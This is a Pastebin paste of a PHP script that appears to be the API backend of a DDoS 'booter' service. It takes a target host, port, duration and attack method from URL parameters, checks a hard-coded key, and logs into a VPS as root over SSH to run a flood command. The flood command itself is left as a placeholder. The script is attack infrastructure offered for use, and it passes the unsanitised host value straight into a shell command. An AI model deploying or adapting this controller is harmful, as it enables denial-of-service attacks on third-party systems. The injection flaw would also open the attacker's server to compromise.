Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //http://IP/api.php?key=KEY&host=[host]&port=[port]&time=[time]&method=[method] <--- API
- ignore_user_abort(true);
- set_time_limit(86400);
- $server_ip = "IP HERE"; // IP SERVER
- $server_pass = "PASS HERE"; // PASS
- $server_user = "root"; // USER (ROOT)
- $key = $_GET['key'];
- $host = $_GET['host'];
- $port = intval($_GET['port']);
- $time = intval($_GET['time']);
- $method = $_GET['method'];
- $array = array("HTTP","stop");
- $ray = array("ptypeL4"); //API KEY
- if (!empty($time)){
- if (!empty($host)){
- if (!empty($method)){
- if ($method == "stop") { $command = "pkill $host -f"; } //FOR STOP ATTACK DONT DELETE
- }
- }
- }
- if (!empty($key)){
- }else{
- die('Error: Write API key');}
- if (in_array($key, $ray)){
- }else{
- die('Not correct API key');}
- if (!empty($time)){
- }else{
- die('ERROR write time attack');}
- if (!empty($host)){
- }else{
- die('ERROR write host');}
- if (!empty($method)){
- }else{
- die('ERROR write method');}
- if (in_array($method, $array)){
- }else{
- die('ERROR method not found');}
- if ($port > 65535){
- die('Error: port no more than 65535 does not exist!');}
- if ($time > 86400){
- die('Error: the attack can not be more than 86400 seconds!');}
- if(ctype_digit($Time)){
- die('Error: time is not in numbers!');}
- if(ctype_digit($Port)){
- die('Error: port is not in numbers!');}
- //UR COMMAND FOR START ATTACK
- if ($method == "HTTP") { $command = "command flood of the script"; }
- if (!function_exists("ssh2_connect")) die("Error: SSH2 ISNT INSTALLED!");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "VPS dont work";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Login or password is incorrect";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: You're server was not able to execute you're methods file and or its dependencies";
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Started!</br>Target: $host</br>Port: $port </br>Time: $time</br>Method: $method";
- fclose($stream);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement